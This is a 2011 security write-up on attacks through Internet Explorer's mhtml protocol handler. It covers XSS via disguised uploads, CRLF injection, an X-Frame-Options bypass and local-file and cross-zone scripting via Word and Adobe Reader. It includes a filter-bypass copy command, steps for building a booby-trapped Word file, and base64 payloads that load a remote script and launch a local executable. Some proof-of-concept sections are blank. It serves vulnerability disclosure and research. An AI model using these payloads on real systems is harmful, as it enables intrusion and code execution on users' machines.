Hacking with mhtml protocol handler
Author: www.80vul.com [Email:5up3rh3i#gmail.com]
Release Date: 2011/1/15
References:
http://www.80vul.com/mhtml/Hacking%20with%20mhtml%20protocol%20handler.txt
Ph4nt0m Webzine 0x05 (http://secinn.appspot.com/pstzine) Was finally
released yesterday, There are two articles about the browser security[0x05
and 0x06].If the combination of both, we can complete a lot of interesting
attacks...
1.Cross Site Scripting by upload mhtml file
Using the mhtml protocol handler,The file extension is ignored.so the
attacker use renname the mhtml file to a *.jpg file,etc. then upload it to
the target site...
ofcouser ,we can use "copy /b 1.jpg + 1.mhtml 2.jpg" to bypass some upload
file format security restrictions
then use iframe tag src to it:
2.Cross Site Scripting mhtml-file string injection
the mhtml-file format is only base on CRLF,so if we can injection CRLF, the
site may be attacked.
poc:
test it on win7 system pls.
if win-xp or win2k3 system,pls do it by the second urlencode.
mhtml-file string injection in JOSN file, some sites restrict the JOSN
file's Content-Type to defense xss. maybe we can use mhtml-file string
injection to pass it :)
3.bypass X-Frame-Options
X-Frame-Options did not protect the mhtml protocol handler.
the demo:
4.mhtml+file://uncpath+Adobe Reader 9 == local xss vul
Billy (BK) Rios introduced a very interesting approach to Steal local files
on the RuxCon/Baythreat(https://xs-sniper.com/blog/2010/12/17/will-it-blend/)
,it used "Script src to local files in the LocalLow directory" by file://
+java apple +Adobe Reader+Adobe flash to complete it. but if used
mhtml+file://uncpath, so easy to do it.
Demo:
test it on win2k3+ie8+Adobe Reader 9
http://www.80vul.com/hackgame/xs-g0.php?username=Administrator
5.mhtml+file://uncpath+word == local xss vul
demo:http://www.80vul.com/mhtml/word.doc
download it, and save it on c:\word.doc and open it. u can get the alert
c:\boot.ini 's content.
this is base on "Microsoft word javascript execution"(
http://marc.info/?l=bugtraq&m=121121432823704&w=2).
to make the proof of concept follow the following steps:
1-Make a html file and paste xss code
2-Open the html file with the word and save as c:\word.xml
3-Open the word.xml with the notepad,and inject the mhtml code in aaaaa
4-Rename c:\word.xml to c:\word.doc
5-Open c:\word.doc file
xss code
---------------------------------------------------------
aaaaa
----------------------------------------------------------
mhtml code
--------------------------------------------------------
/*
Content-Type: multipart/related; boundary="_boundary_by_mere":
--_boundary_by_mere
Content-Location:cookie
Content-Transfer-Encoding:base64
PGJvZHk+DQo8c2NyaXB0IHNyYz0naHR0cDovL3d3dy44MHZ1bC5jb20vaGFja2dhbWUvZ28uanMnPjwvc2NyaXB0Pg0KPC9ib2R5Pg0K
--_boundary_by_mere--
*/
--------------------------------------------------------
if u use this vul to attack someone,u need to known the word file path where
save the download file. and lots of guns used on the desktop :)
"Microsoft word javascript execution" is only work on office 2k3 and 2k7, In
other versions u can make the link, and src to
http://www.80vul.com/hackgame/word.htm
6. Coss Zone Scripting
First we would like to mention a very old vulnerability:
This vulnerability (by firebug9[
http://hi.baidu.com/firebug9/blog/item/b7627c4624cd880f6a63e5e7.html])
allows you to execute any program on "My Computer" zone,Been tested and
found to this vul work on ie6/ie7/ie8+win2k/winxp/win2k3
Then repeat "5.mhtml+file://uncpath+word == local xss vul" steps and change:
xss code
---------------------------------------------------------
aaaaa
----------------------------------------------------------
mhtml code
--------------------------------------------------------
/*
Content-Type: multipart/related; boundary="_boundary_by_mere":
--_boundary_by_mere
Content-Location:cookie
Content-Transfer-Encoding:base64
PE9CSkVDVCBDTEFTU0lEPUNMU0lEOjEyMzQ1Njc4LTEyMzQtNDMyMS0xMjM0LTExMTExMTExMTExMSBDT0RFQkFTRT1jOi93aW5kb3dzL3N5c3RlbTMyL2NhbGMuZXhlPjwvT0JKRUNUPg==
--_boundary_by_mere--
*/
--------------------------------------------------------
thx d4rkwind(http://hi.baidu.com/d4rkwind/) for his excellent paper.
About Ph4nt0m Webzine
Ph4nt0m Webzine is a free network Security Magazine,We accept articles in
English and Chinese, you are welcome contributions .
mailto:root_at_ph4nt0m.org pls.thank you!
--
hitest